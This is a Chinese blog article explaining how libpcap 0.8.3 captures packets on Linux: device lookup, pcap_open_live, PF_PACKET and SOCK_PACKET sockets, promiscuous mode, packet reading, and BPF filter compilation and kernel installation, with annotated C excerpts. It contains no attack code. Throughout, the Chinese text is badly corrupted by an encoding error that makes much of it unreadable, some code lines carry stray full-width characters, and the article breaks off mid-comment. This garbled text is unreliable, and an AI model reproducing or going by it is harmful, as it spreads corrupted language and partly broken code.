libpcap E序框架http://m.tkk7.com/shiliqiang/articles/286154.html矛_@矛_@Thu, 09 Jul 2009 14:01:00 GMThttp://m.tkk7.com/shiliqiang/articles/286154.htmlhttp://m.tkk7.com/shiliqiang/comments/286154.htmlhttp://m.tkk7.com/shiliqiang/articles/286154.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/286154.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/286154.html  

包捕h?/font>

从广义的角度上看Q一个包捕获机制包含三个主要部分Q最底层是针对特定操作系l的包捕hӞ最高层是针对用L序的接口Q第三部分是包过滤机制?/p>

不同的操作系l实现的底层包捕h制可能是不一LQ但从Ş式上看大同小异。数据包常规的传输\径依ơؓ|卡、设备驱动层、数据链路层、IP 层、传输层、最后到辑ֺ用程序。而包捕获机制是在数据链\层增加一个旁路处理,对发送和接收到的数据包做qo/~冲{相兛_理,最后直接传递到应用E序。值得注意的是Q包捕获机制q不影响操作pȝҎ据包的网l栈处理。对用户E序而言Q包捕获机制提供了一个统一的接口,使用L序只需要简单的调用若干函数p获得所期望的数据包。这样一来,针对特定操作pȝ的捕h制对用户透明Q用户E序有比较好的可UL性。包qo机制是对所捕获到的数据包根据用L要求q行{选,最l只把满滤条件的数据包传递给用户E序?br />
libpcap 应用E序的框Ӟ

Libpcap 提供了系l独立的用户U别|络数据包捕h口,q充分考虑到应用程序的可移植性。Libpcap 可以在绝大多数类 unix q_下工作,参考资?A 中是对基?libpcap 的网l应用程序的一个详l列表。在 windows q_下,一个与libpcap 很类似的函数?winpcap 提供捕获功能Q其官方|站?a >http://winpcap.polito.it/?/p>

Libpcap 软g包可?http://www.tcpdump.org/ 下蝲Q然后依此执行下列三条命令即可安装,但如果希?libpcap 能在 linux 上正常工作,则必M内核支持"packet"协议Q也卛_~译内核时打开配置选项 CONFIG_PACKET(选项~省为打开)?/p>



 

libpcap 源代码由 20 多个 C 文g构成Q但?Linux pȝ下ƈ不是所有文仉用到。可以通过查看命o make 的输Z解实际所用的文g。本文所针对的libpcap 版本号ؓ 0.8.3Q网l类型ؓ常规以太|。Libpcap 应用E序从Ş式上看很单,下面是一个简单的E序框架Q?/p>


            char * device; /* 用来捕获数据包的|络接口的名U?*/
            pcap_t * p; /* 捕获数据包句柄,最重要的数据结?*/
            struct bpf_program fcode; /* BPF qo代码l构 */
            /* W一步:查找可以捕获数据包的讑֤ */
            device = pcap_lookupdev(errbuf)Q?
            /* W二步:创徏捕获句柄Q准备进行捕?*/
            p = pcap_open_live(device, 8000, 1, 500, errbuf)Q?
            /* W三步:如果用户讄了过滤条Ӟ则编译和安装qo代码 */
            pcap_compile(p, &fcode, filter_string, 0, netmask)Q?
            pcap_setfilter(p, &fcode)Q?
            /* W四步:q入Q死Q@环,反复捕获数据?*/
            for( ; ; )
            {
            while((ptr = (char *)(pcap_next(p, &hdr))) == NULL);
            /* W五步:ҎL数据q行cd转换Q{化成以太数据包类?*/
            eth = (struct libnet_ethernet_hdr *)ptr;
            /* W六步:对以太头部进行分析,判断所包含的数据包cdQ做q一步的处理 */
            if(eth->ether_type == ntohs(ETHERTYPE_IP))
            …………
            if(eth->ether_type == ntohs(ETHERTYPE_ARP))
            …………
            }
            /* 最后一步:关闭捕获句柄,一个简单技巧是在程序初始化时增加信号处理函敎ͼ
            以便在程序退出前执行本条代码 */
            pcap_close(p)Q?
            



查网l设?/font>

libpcap E序的第一步通常是在pȝ中找到合适的|络接口讑֤。网l接口在Linux |络体系中是一个很重要的概念,它是对具体网l硬件设备的一个抽象,在它的下面是具体的网卡驱动程序,而其上则是网l协议层。Linux 中最常见的接口设备名 eth0 ?lo。Lo UCؓ回\讑֤Q是一U逻辑意义上的讑֤,其主要目的是Z调试|络E序之间的通讯功能。eth0 对应了实际的物理|卡Q在真实|络环境下,数据包的发送和接收都要通过 eht0。如果计机有多个网卡,则还可以有更多的|络接口Q如 eth1,eth2 {等。调用命?ifconfig 可以列出当前所有活跃的接口及相关信息,注意?eth0 的描qC既有物理|卡?MAC 地址Q也有网l协议的 IP 地址。查看文?/proc/net/dev 也可获得接口信息?/p>

Libpcap 中检查网l设备中主要使用到的函数关系如下图:



libpcap 调用 pcap_lookupdev() 函数获得可用|络接口的设备名。首先利用函?getifaddrs() 获得所有网l接口的地址Q以及对应的|络掩码、广播地址、目标地址{相关信息,再利?add_addr_to_iflist()、add_or_find_if()、get_instance() 把网l接口的信息增加到结构链?pcap_if 中,最后从链表中提取第一个接口作为捕莯备。其?get_instanced() 的功能是从设备名开?扄一个是数字的字W?做ؓ接口的实例号。网l接口的讑֤可,则排在链表的前面,因此Q通常函数最后返回的讑֤名ؓ eth0。虽?libpcap 可以工作在回路接口上Q但昄 libpcap 开发者认为捕hE之间的数据包没有多大意义。在查网l设备操作中Q主要用到的数据l构和代码如下:


            	/* libpcap 自定义的接口信息链表 [pcap.h] */
            struct pcap_if
            {
            struct pcap_if *next;
            char *name; /* 接口讑֤?*/
            char *description; /* 接口描述 */
            /*接口?IP 地址, 地址掩码, q播地址,目的地址 */
            struct pcap_addr addresses;
            bpf_u_int32 flags;	/* 接口的参?*/
            };
            char * pcap_lookupdev(register char * errbuf)
            {
            pcap_if_t *alldevs;
            ……
            pcap_findalldevs(&alldevs, errbuf)Q?
            ……
            strlcpy(device, alldevs->name, sizeof(device));
            }
            





回页?/u>


打开|络讑֤

当设备找到后Q下一步工作就是打开讑֤以准备捕h据包。Libpcap 的包捕获是徏立在具体的操作系l所提供的捕h制上Q?Linux pȝ随着版本的不同,所支持的捕h制也有所不同?/p>

2.0 及以前的内核版本使用一个特D的 socket cd SOCK_PACKETQ调用Ş式是 socket(PF_INET, SOCK_PACKET, int protocol)Q但 Linux 内核开发者明指U方式已q时。Linux ?2.2 及以后的版本中提供了一U新的协议簇 PF_PACKET 来实现捕h制。PF_PACKET 的调用Ş式ؓ socket(PF_PACKET, int socket_type, int protocol)Q其?socket cd可以?SOCK_RAW ?SOCK_DGRAM。SOCK_RAW cd使得数据包从数据链\层取得后Q不做Q何修改直接传递给用户E序Q?SOCK_DRRAM 则要Ҏ据包q行加工(cooked)Q把数据包的数据链\层头部去掉,而用一个通用l构 sockaddr_ll 来保存链路信息?/p>

使用 2.0 版本内核捕获数据包存在多个问题:首先QSOCK_PACKET 方式使用l构 sockaddr_pkt 来保存数据链路层信息Q但该结构缺乏包cd信息Q其ơ,如果参数 MSG_TRUNC 传递给d函数 recvmsg()、recv()、recvfrom() {,则函数返回的数据包长度是实际d的包数据长度Q而不是数据包真正的长度。Libpcap 的开发者在源代码中明确不?2.0 版本q行捕获?/p>

相对 2.0 版本 SOCK_PACKET 方式Q?.2 版本?PF_PACKET 方式则不存在上述两个问题。在实际应用中,用户E序昄希望直接得到"原始"的数据包Q因此?SOCK_RAW cd最好。但在下面两U情况下Qlibpcap 不得不?SOCK_DGRAM cdQ从而也必须为数据包合成一??链\层头部(sockaddr_llQ?/p>

  • 某些cd的设备数据链路层头部不可用:例如 Linux 内核?PPP 协议实现代码?PPP 数据包头部的支持不可靠?
  • 在捕莯备ؓ"any"Ӟ所有设备意味着 libpcap Ҏ有接口进行捕PZ使包qo机制能在所有类型的数据包上正常工作,要求所有的数据包有相同的数据链路头部?

打开|络讑֤的主函数?pcap_open_live()[pcap-linux.c]Q其d是通过l定的接口设备名Q获得一个捕获句柄:l构 pcap_t。pcap_t 是大多数 libpcap 函数都要用到的参敎ͼ其中最重要的属性则是上面讨论到的三U?socket 方式中的某一U。首先我们看?pcap_t 的具体构成?/p>

            struct pcap [pcap-int.h]
            {
            int fd; /* 文g描述字,实际是 socket */
            /* ?socket 上,可以使用 select() ?poll() {?I/O 复用cd函数 */
            int selectable_fd;
            int snapshot; /* 用户期望的捕h据包最大长?*/
            int linktype; /* 讑֤cd */
            int tzoff;		/* 时区位置Q实际上没有被?*/
            int offset;	/* 边界寚w偏移?*/
            int break_loop; /* 强制从读数据包@环中跛_的标?*/
            struct pcap_sf sf; /* 数据包保存到文g的相关配|数据结?*/
            struct pcap_md md; /* 具体描述如下 */
            int bufsize; /* ȝ冲区的长?*/
            u_char buffer; /* ȝ冲区指针 */
            u_char *bp;
            int cc;
            u_char *pkt;
            /* 相关抽象操作的函数指针,最l指向特定操作系l的处理函数 */
            int	(*read_op)(pcap_t *, int cnt, pcap_handler, u_char *);
            int	(*setfilter_op)(pcap_t *, struct bpf_program *);
            int	(*set_datalink_op)(pcap_t *, int);
            int	(*getnonblock_op)(pcap_t *, char *);
            int	(*setnonblock_op)(pcap_t *, int, char *);
            int	(*stats_op)(pcap_t *, struct pcap_stat *);
            void (*close_op)(pcap_t *);
            /*如果 BPF qo代码不能在内怸执行,则将其保存ƈ在用L间执?*/
            struct bpf_program fcode;
            /* 函数调用出错信息~冲?*/
            char errbuf[PCAP_ERRBUF_SIZE + 1];
            /* 当前讑֤支持的、可更改的数据链路类型的个数 */
            int dlt_count;
            /* 可更改的数据链\cd号链表,?linux 下没有?*/
            int *dlt_list;
            /* 数据包自定义头部Q对数据包捕h间、捕获长度、真实长度进行描q?[pcap.h] */
            struct pcap_pkthdr pcap_header;
            };
            /* 包含了捕获句柄的接口、状态、过滤信? [pcap-int.h] */
            struct pcap_md {
            /* 捕获状态结? [pcap.h] */
            struct pcap_stat stat;
            int use_bpf; /* 如果?Q则代表使用内核qo*/
            u_long	TotPkts;
            u_long	TotAccepted; /* 被接收数据包数目 */
            u_long	TotDrops;	/* 被丢弃数据包数目 */
            long	TotMissed;	/* 在过滤进行时被接口丢弃的数据包数?*/
            long	OrigMissed; /*在过滤进行前被接口丢弃的数据包数?/
            #ifdef linux
            int	sock_packet; /* 如果?1Q则代表使用 2.0 内核?SOCK_PACKET 模式 */
            int	timeout;	/* pcap_open_live() 函数时q回旉*/
            int	clear_promisc; /* 关闭时设|接口ؓ非؜杂模?*/
            int	cooked;		/* 使用 SOCK_DGRAM cd */
            int	lo_ifindex;	/* 回\讑֤索引?*/
            char *device;	/* 接口讑֤名称 */
            /* 以؜杂模式打开 SOCK_PACKET cd socket ?pcap_t 链表*/
            struct pcap *next;
            #endif
            };
            

函数 pcap_open_live() 的调用Ş式是 pcap_t * pcap_open_live(const char *device, int snaplen, int promisc, int to_ms, char *ebuf)Q其中如?device ?NULL ?any"Q则Ҏ有接口捕Psnaplen 代表用户期望的捕h据包最大长度,promisc 代表讄接口为؜杂模式(捕获所有到达接口的数据包,但只有在讑֤l定的情况下有意义)Qto_ms 代表函数时q回的时间。本函数的代码比较简单,其执行步骤如下:

  • 为结?pcap_t 分配I间q根据函数入参对光分属性进行初试化?
  • 分别利用函数 live_open_new() ?live_open_old() 试创徏 PF_PACKET 方式?SOCK_PACKET 方式?socketQ注意函数名中一个ؓ"new"Q另一个ؓ"old"?
  • Ҏ socket 的方式,讄捕获句柄的读~冲区长度,q分配空间?
  • 为捕获句?pcap_t 讄 linux pȝ下的特定函数Q其中最重要的是L据包函数和设|过滤器函数。(注意到这U从抽象模式到具体模式的设计思想?linux 源代码中也多ơ出玎ͼ?VFS 文gpȝQ?br /> handle->read_op = pcap_read_linuxQ?handle->setfilter_op = pcap_setfilter_linuxQ?

下面我们依次分析 2.2 ?2.0 内核版本下的 socket 创徏函数?/p>

            static int
            live_open_new(pcap_t *handle, const char *device, int promisc,
            int to_ms, char *ebuf)
            {
            /* 如果讑֤l定,则打开一?RAW cd的套接字,否则,打开 DGRAM cd的套接字 */
            sock_fd = device ?
            socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))
            : socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL));
            /* 取得回\讑֤接口的烦?*/
            handle->md.lo_ifindex = iface_get_id(sock_fd, "lo", ebuf);
            /* 如果讑֤l定Q但接口cd未知或是某些必须工作在加工模式下的特定类型,则用加工模?*/
            if (device) {
            /* 取得接口的硬件类?*/
            arptype = iface_get_arptype(sock_fd, device, ebuf);
            /* linux 使用 ARPHRD_xxx 标识接口的硬件类型,?libpcap 使用DLT_xxx
            来标识。本函数是对上述二者的做映变换,讄句柄的链路层cd?
            DLT_xxxQƈ讄句柄的偏U量为合适的|使其与链路层头部之和?4 的倍数Q目的是边界寚w */
            map_arphrd_to_dlt(handle, arptype, 1);
            /* 如果接口是前面谈到的不支持链路层头部的类型,则退而求其次Q?SOCK_DGRAM 模式 */
            if (handle->linktype == xxx)
            {
            close(sock_fd)Q?
            sock_fd = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL));
            }
            /* 获得l定的设备名的烦?*/
            device_id = iface_get_id(sock_fd, device, ebuf);
            /* 把套接字和给定的讑֤l定Q意味着只从l定的设备上捕获数据?*/
            iface_bind(sock_fd, device_id, ebuf)Q?
            } else { /* 现在是加工模?*/
            handle->md.cooked = 1;
            /* 数据包链路层头部为结?sockaddr_llQ?SLL 大概是结构名U的写Ş?*/
            handle->linktype = DLT_LINUX_SLL;
            device_id = -1;
            }
            /* 讄l定讑֤为؜杂模?*/
            if (device && promisc)
            {
            memset(&mr, 0, sizeof(mr));
            mr.mr_ifindex = device_id;
            mr.mr_type = PACKET_MR_PROMISC;
            setsockopt(sock_fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP,
            &mr, sizeof(mr))Q?
            }
            /* 最后把创徏?socket 保存在句?pcap_t ?*/
            handle->fd = sock_fd;
            }
            /* 2.0 内核下函数要单的多,因ؓ只有唯一的一U?socket 方式 */
            static int
            live_open_old(pcap_t *handle, const char *device, int promisc,
            int to_ms, char *ebuf)
            {
            /* 首先创徏一个SOCK_PACKETcd?socket */
            handle->fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL));
            /* 2.0 内核下,不支持捕h有接口,讑֤必须l定 */
            if (!device) {
            strncpy(ebuf, "pcap_open_live: The \"any\" device isn't supported on 2.0[.x]-kernel systems", PCAP_ERRBUF_SIZE);
            break;
            }
            /* ?socket 和给定的讑֤l定 */
            iface_bind_old(handle->fd, device, ebuf)Q?
            /*以下的处理和 2.2 版本下的怼Q有所区别的是如果接口链\层类型未知,?libpcap 直接退?*/
            arptype = iface_get_arptype(handle->fd, device, ebuf);
            map_arphrd_to_dlt(handle, arptype, 0);
            if (handle->linktype == -1) {
            snprintf(ebuf, PCAP_ERRBUF_SIZE, "unknown arptype %d", arptype);
            break;
            }
            /* 讄l定讑֤为؜杂模?*/
            if (promisc) {
            memset(&ifr, 0, sizeof(ifr));
            strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
            ioctl(handle->fd, SIOCGIFFLAGS, &ifr)Q?
            ifr.ifr_flags |= IFF_PROMISC;
            ioctl(handle->fd, SIOCSIFFLAGS, &ifr)Q?
            }
            }
            

比较上面两个函数的代码,q有两个l节上的区别。首先是 socket 与接口绑定所使用的结构:老式的绑定用了l构 sockaddrQ而新式的则用了 2.2 内核中定义的通用链\头部层结?sockaddr_ll?/p>

            iface_bind_old(int fd, const char *device, char *ebuf)
            {
            struct sockaddr	saddr;
            memset(&saddr, 0, sizeof(saddr));
            strncpy(saddr.sa_data, device, sizeof(saddr.sa_data));
            bind(fd, &saddr, sizeof(saddr))Q?
            }
            iface_bind(int fd, int ifindex, char *ebuf)
            {
            struct sockaddr_ll	sll;
            memset(&sll, 0, sizeof(sll));
            sll.sll_family = AF_PACKET;
            sll.sll_ifindex = ifindex;
            sll.sll_protocol	= htons(ETH_P_ALL);
            bind(fd, (struct sockaddr *) &sll, sizeof(sll)Q?
            }
            

W二个是?2.2 版本中设|设备ؓh模式Ӟ使用了函?setsockopt()Q以及新的标?PACKET_ADD_MEMBERSHIP 和结?packet_mreq。我估计q种方式主要是希望提供一个统一的调用接口,以代替传l的Q؜qQioctl 调用?/p>

            struct packet_mreq
            {
            int             mr_ifindex;    /* 接口索引?*/
            unsigned short  mr_type;       /* 要执行的操作(? */
            unsigned short  mr_alen;       /* 地址长度 */
            unsigned char   mr_address[8]; /* 物理层地址 */
            };
            

用户应用E序接口

Libpcap 提供的用L序接口比较简单,通过反复调用函数pcap_next()[pcap.c] 则可获得捕获到的数据包。下面是一些用到的数据结构:


            /* 单个数据包结构,包含数据包元信息和数据信?*/
            struct singleton [pcap.c]
            {
            struct pcap_pkthdr hdr; /* libpcap 自定义数据包头部 */
            const u_char * pkt; /* 指向捕获到的|络数据 */
            };
            /* 自定义头部在把数据包保存到文件中也被使用 */
            struct pcap_pkthdr
            {
            struct timeval ts; /* 捕获旉?*/
            bpf_u_int32 caplen; /* 捕获到数据包的长?*/
            bpf_u_int32 len; /* 数据包的真正长度 */
            }
            /* 函数 pcap_next() 实际上是对函?pcap_dispatch()[pcap.c] 的一个包?*/
            const u_char * pcap_next(pcap_t *p, struct pcap_pkthdr *h)
            {
            struct singleton s;
            s.hdr = h;
            /*入参"1"代表收到1个数据包p回;回调函数 pcap_oneshot() 是对l构 singleton 的属性赋?*/
            if (pcap_dispatch(p, 1, pcap_oneshot, (u_char*)&s) <= 0)
            return (0);
            return (s.pkt); /* q回数据包缓冲区的指?*/
            }
            

pcap_dispatch() 单的调用捕获句柄 pcap_t 中定义的特定操作pȝ的读数据函数Qreturn p->read_op(p, cnt, callback, user)。在 linux pȝ下,对应的读函数?pcap_read_linux()Q在创徏捕获句柄时已定义 [pcap-linux.c]Q,而pcap_read_linux() 则是直接调用 pcap_read_packet()([pcap-linux.c])?/p>

pcap_read_packet() 的中心Q务是利用?recvfrom() 从已创徏?socket 上读数据包数据,但是考虑?socket 可能为前面讨论到的三U方式中的某一U,因此Ҏ据缓冲区的结构有相应的处理,主要表现在加工模式下对伪链\层头部的合成。具体代码分析如下:


            static int
            pcap_read_packet(pcap_t *handle, pcap_handler callback, u_char *userdata)
            {
            /* 数据包缓冲区指针 */
            u_char * bp;
            /* bp 与捕获句?pcap_t ?handle->buffer
            之间的偏U量Q其目的是ؓ在加工模式捕h况下Qؓ合成的伪数据链\层头部留出空?*/
            int offset;
            /* PACKET_SOCKET 方式下,recvfrom() q回 scokaddr_ll cdQ而在SOCK_PACKET 方式下,
            q回 sockaddr cd */
            #ifdef HAVE_PF_PACKET_SOCKETS
            struct sockaddr_ll	from;
            struct sll_header	* hdrp;
            #else
            struct sockaddr		from;
            #endif
            socklen_t		fromlen;
            int			packet_len, caplen;
            /* libpcap 自定义的头部 */
            struct pcap_pkthdr	pcap_header;
            #ifdef HAVE_PF_PACKET_SOCKETS
            /* 如果是加工模式,则ؓ合成的链路层头部留出I间 */
            if (handle->md.cooked)
            offset = SLL_HDR_LEN;
            /* 其它两中方式下,链\层头部不做修改的被返回,不需要留I间 */
            else
            offset = 0;
            #else
            offset = 0;
            #endif
            bp = handle->buffer + handle->offset;
            /* 从内怸接收一个数据包Q注意函数入参中?bp 的位|进行修?*/
            packet_len = recvfrom( handle->fd, bp + offset,
            handle->bufsize - offset, MSG_TRUNC,
            (struct sockaddr *) &from, &fromlen);
            #ifdef HAVE_PF_PACKET_SOCKETS
            /* 如果是回路设?则只捕获接收的数据包Q而拒l发送的数据包。显Ӟ我们只能?PF_PACKET
            方式下这样做,因ؓ SOCK_PACKET 方式下返回的链\层地址cd?
            sockaddr_pktQ缺了判断数据包类型的信息?/
            if (!handle->md.sock_packet &&
            from.sll_ifindex == handle->md.lo_ifindex &&
            from.sll_pkttype == PACKET_OUTGOING)
            return 0;
            #endif
            #ifdef HAVE_PF_PACKET_SOCKETS
            /* 如果是加工模式,则合成伪链\层头?*/
            if (handle->md.cooked) {
            /* 首先修正捕包数据的长度,加上链\层头部的长度 */
            packet_len += SLL_HDR_LEN;
            hdrp = (struct sll_header *)bp;
            /* 以下的代码分别对伪链路层头部的数据赋?*/
            hdrp->sll_pkttype = xxx;
            hdrp->sll_hatype = htons(from.sll_hatype);
            hdrp->sll_halen = htons(from.sll_halen);
            memcpy(hdrp->sll_addr, from.sll_addr,
            (from.sll_halen > SLL_ADDRLEN) ?
            SLL_ADDRLEN : from.sll_halen);
            hdrp->sll_protocol = from.sll_protocol;
            }
            #endif
            /* 修正捕获的数据包的长度,Ҏ前面的讨论,SOCK_PACKET 方式下长度可能是不准的 */
            caplen = packet_len;
            if (caplen > handle->snapshot)
            caplen = handle->snapshot;
            /* 如果没有使用内核U的包过?则在用户I间q行qo*/
            if (!handle->md.use_bpf && handle->fcode.bf_insns) {
            if (bpf_filter(handle->fcode.bf_insns, bp,
            packet_len, caplen) == 0)
            {
            /* 没有通过qoQ数据包被丢?*/
            return 0;
            }
            }
            /* 填充 libpcap 自定义数据包头部数据Q捕h?捕获的长?真实的长?*/
            ioctl(handle->fd, SIOCGSTAMP, &pcap_header.ts)Q?
            pcap_header.caplen	= caplen;
            pcap_header.len		= packet_len;
            /* 累加捕获数据包数目,注意到在不同内核/捕获方式情况下数目可能不准确 */
            handle->md.stat.ps_recv++;
            /* 调用用户定义的回调函?*/
            callback(userdata, &pcap_header, bp);
            }
            





数据包过滤机?/font>

大量的网l监控程序目的不同,期望的数据包cd也不同,但绝大多数情况都都只需要所有数据包的一Q小Q部分。例如:寚w件系l进行监控可能只需要端口号?25QsmtpQ和 110Qpop3) ?TCP 数据包,?DNS pȝq行监控只需要端口号?53 ?UDP 数据包。包qo机制的引入就是ؓ了解决上q问题,用户E序只需单的讄一pdqo条gQ最l便能获得满x件的数据包。包qo操作可以在用L间执行,也可以在内核I间执行Q但必须注意到数据包从内核空间拷贝到用户I间的开销很大Q所以如果能在内核空间进行过滤,会极大的提高捕获的效率。内核过滤的优势在低速网l下表现不明显,但在高速网l下是非常突出的。在理论研究和实际应用中Q包捕获和包qo从语意上q没有严格的区分Q关键在于认识到捕获数据包必然有qo操作。基本上可以认ؓQ包qo机制在包捕获机制中占中心C?/p>

包过滤机制实际上是针Ҏ据包的布值操作函敎ͼ如果函数最l返?trueQ则通过qoQ反之则被丢弃。Ş式上包过滤由一个或多个谓词判断的ƈ操作QANDQ和或操作(ORQ构成,每一个谓词判断基本上对应了数据包的协议类型或某个特定?例如Q只需?TCP cd且端口ؓ 110 的数据包?ARP cd的数据包。包qo机制在具体的实现上与数据包的协议cdq无多少关系Q它只是把数据包单的看成一个字节数l,而谓词判断会Ҏ具体的协议映到数组特定位置的倹{如判断ARPcd数据包,只需要判断数l中W?13?4 个字节(以太头中的数据包cdQ是否ؓ 0X0806。从理论研究的意思上看,包过滤机制是一个数学问题,或者说是一个算法问题,其中心Q务是如何使用最的判断操作、最的旉完成qo处理Q提高过滤效率?/p>



BPF

Libpcap 重点使用 BPFQBSD Packet FilterQ包qo机制QBPF ?1992 q被设计出来Q其设计目的主要是解军_时已存在的过滤机制效率低下的问题。BPF的工作步骤如下:当一个数据包到达|络接口Ӟ数据链\层的驱动会把它向pȝ的协议栈传送。但如果 BPF 监听接口Q驱动首先调?BPF。BPF 首先q行qo操作Q然后把数据包存攑֜qo器相关的~冲ZQ最后设备驱动再ơ获得控制。注意到BPF是先Ҏ据包qo再缓Ԍ避免了类?sun ?NIT qo机制先缓冲每个数据包直到用户L据时再过滤所造成的效率问题。参考资料D是关?BPF 设计思想最重要的文献?/p>

BPF 的设计思想和当时的计算机硬件的发展有很大联p,相对老式的过滤方式CSPFQCMU/Stanford Packet FilterQ它有两大特炏V?Q基于寄存器的过滤机Ӟ而不是早期内存堆栈过滤机Ӟ2Q直接用独立的、非׃n的内存缓冲区。同ӞBPF 在过滤算法是也有很大q步Q它使用无环控制图QCFG control flow graphQ?而不是老式的布表辑ּ树(boolean expression treeQ。布表辑ּ树理解上比较直观Q它的每一个叶子节点即是一个谓词判断,而非叶子节点则ؓ AND 操作?OR操作。CSPF 有三个主要的~点?Q过滤操作用的栈在内存中被模拟Q维护栈指针需要用若q的?减等操作Q而内存操作是C计算机架构的主要瓉?Q布表辑ּ树造成了不需要的重复计算?Q不能分析数据包的变长头部。BPF 使用的CFG 法实际上是一U特D的状态机Q每一节点代表了一个谓词判断,而左双分别对应了判断失败和成功后的跌{Q蟩转后又是谓词判断Q这样反复操作,直到到达成功或失败的l点。CFG 法的优点在于把Ҏ据包的分析信息直接徏立在图中Q从而不需要重复计。直观的看,CFG 是一U?快速的、一直向?的算法?/p>



qo代码的编?/font>

BPF ?CFG 法的代码实现非常复杂,它用伪机器方式。BPF 伪机器是一个轻量的,高效的状态机Q对 BPF qo代码q行解释处理。BPF qo代码形式?opcode jt jf k"Q分别代表了操作码和d方式、判断正的跌{、判断失败的跌{、操作用的通用数据域。BPF qo代码从逻辑上看很类g汇编语言Q但它实际上是机器语aQ注意到上述 4 个域的数据类型都?int ?char 型。显Ӟqh写过滤代码太q复杂,因此 libpcap 允许用户书写高层的、容易理解的qo字符Ԍ然后其~译为BPF代码?/p>

Libpcap 使用?4 个源E序 gencode.c、optimize.c、grammar.c、scanner.c完成~译操作Q其中前两个实现了对qo字符串的~译和优化,后两个主要是为编译提供从协议相关qo条g到协议无?的字W数l?位置信息的映,q且它们p汇分析器生成?flex ?bison 生成。参考资?C 有对此两个工L讲解?/p>

            flex -Ppcap_ -t scanner.l > $.scanner.c; mv $.scanner.c scanner.c
            bison -y -p pcap_ -d grammar.y
            mv y.tab.c grammar.c
            mv y.tab.h tokdefs.h
            

~译qo字符串调用了函数 pcap_compile()[getcode.c]QŞ式ؓQ?/p>

            int pcap_compile(pcap_t *p, struct bpf_program *program,
            char *buf, int optimize, bpf_u_int32 mask)
            

其中 buf 指向用户qo字符Ԍ~译后的 BPF 代码存在在结?bpf_program中,标志 optimize 指示是否?BPF 代码q行优化?/p>

            /* [pcap-bpf.h] */
            struct bpf_program {
            u_int bf_len; /* BPF 代码中谓词判断指令的数目 */
            struct bpf_insn *bf_insns; /* W一个谓词判断指?*/
            };
            /* 谓词判断指ol构Q含意在前面已描q?[pcap-bpf.h] */
            struct bpf_insn {
            u_short	code;
            u_char 	jt;
            u_char 	jf;
            bpf_int32 k;
            };
            






qo代码的安?/font>

前面我们曄提到Q在内核I间qo数据包对整个捕获机制的效率是臛_重要的。早期?SOCK_PACKET 方式?Linux 不支持内核过滤,因此qo操作只能在用L间执行(请参阅函?pcap_read_packet() 代码Q?在《UNIX |络~程(W一?》(参考资?BQ的W?26 章中Ҏ有明的描述。不q现在看h情况已经发生改变Qlinux ?PF_PACKET cd?socket 上支持内核过滤。Linux 内核允许我们把一个名?LPF(Linux Packet Filter) 的过滤器直接攑ֈ PF_PACKET cd socket 的处理过E中Q过滤器在网卡接收中断执行后立即执行。LSF Z BPF 机制Q但两者在实现上有略微的不同。实际代码如下:


            /* 在包捕获讑֤上附?BPF 代码 [pcap-linux.c]*/
            static int
            pcap_setfilter_linux(pcap_t *handle, struct bpf_program *filter)
            {
            #ifdef SO_ATTACH_FILTER
            struct sock_fprog	fcode;
            int can_filter_in_kernel;
            int err = 0;
            #endif
            /* 查句柄和qo器结构的正确?*/
            if (!handle)
            return -1;
            if (!filter) {
            strncpy(handle->errbuf, "setfilter: No filter specified",
            sizeof(handle->errbuf));
            return -1;
            }
            /* 具体描述如下 */
            if (install_bpf_program(handle, filter) < 0)
            return -1;
            /* ~省情况下在用户I间q行qo?但如果在内核安装成功,则gؓ 1 */
            handle->md.use_bpf = 0;
            /* 试在内核安装过滤器 */
            #ifdef SO_ATTACH_FILTER
            #ifdef USHRT_MAX
            if (handle->fcode.bf_len > USHRT_MAX) {
            /*qo器代码太长,内核不支?*/
            fprintf(stderr, "Warning: Filter too complex for kernel\n");
            fcode.filter = NULL;
            can_filter_in_kernel = 0;
            } else
            #endif /* USHRT_MAX */
            {
            /* linux 内核讄qo器时使用的数据结构是 sock_fprogQ而不?BPF 的结?bpf_program ,因此应做l构之间的{?*/
            switch (fix_program(handle, &fcode)) {
            /* 严重错误Q直接退?*/
            case -1:
            default:
            return -1;
            /* 通过查,但不能工作在内核?*/
            case 0:
            can_filter_in_kernel = 0;
            break;
            /* BPF 可以在内怸工作 */
            case 1:
            can_filter_in_kernel = 1;
            break;
            }
            }
            /* 如果可以在内怸qoQ则安装qo器到内核?*/
            if (can_filter_in_kernel) {
            if ((err = set_kernel_filter(handle, &fcode)) == 0)
            {
            /* 安装成功 !!! */
            handle->md.use_bpf = 1;
            }
            else if (err == -1)	/* 出现非致命性错?*/
            {
            if (errno != ENOPROTOOPT && errno != EOPNOTSUPP) {
            fprintf(stderr, "Warning: Kernel filter failed:
            %s\n",pcap_strerror(errno));
            }
            }
            }
            /* 如果不能在内怸使用qo器,则去掉曾l可能在?socket
            上安装的内核qo器。主要目的是Z避免存在的过滤器Ҏ据包qo的干?*/
            if (!handle->md.use_bpf)
            reset_kernel_filter(handle);[pcap-linux.c]
            #endif
            }
            /* ?BPF 代码拯?pcap_t 数据l构?fcode ?*/
            int install_bpf_program(pcap_t *p, struct bpf_program *fp)
            {
            size_t prog_size;
            /* 首先释放可能已存在的 BPF 代码 */
            pcap_freecode(&p->fcode);
            /* 计算qo代码的长度,分配内存I间 */
            prog_size = sizeof(*fp->bf_insns) * fp->bf_len;
            p->fcode.bf_len = fp->bf_len;
            p->fcode.bf_insns = (struct bpf_insn *)malloc(prog_size);
            if (p->fcode.bf_insns == NULL) {
            snprintf(p->errbuf, sizeof(p->errbuf),
            "malloc: %s", pcap_strerror(errno));
            return (-1);
            }
            /* 把过滤代码保存在捕获句柄?*/
            memcpy(p->fcode.bf_insns, fp->bf_insns, prog_size);
            return (0);
            }
            /* 在内怸安装qo?*/
            static int set_kernel_filter(pcap_t *handle, struct sock_fprog *fcode)
            {
            int total_filter_on = 0;
            int save_mode;
            int ret;
            int save_errno;
            /*在设|过滤器前,socket 的数据包接收队列中可能已存在若干数据包。当讄qo器后Q?
            q些数据包极有可能不满qo条gQ但它们不被qo器丢弃。这意味着Q?
            传递到用户I间的头几个数据包不满qo条g。注意到在用L间过滤这不是问题Q?
            因ؓ用户I间的过滤器是在包进入队列后执行的。Libpcap
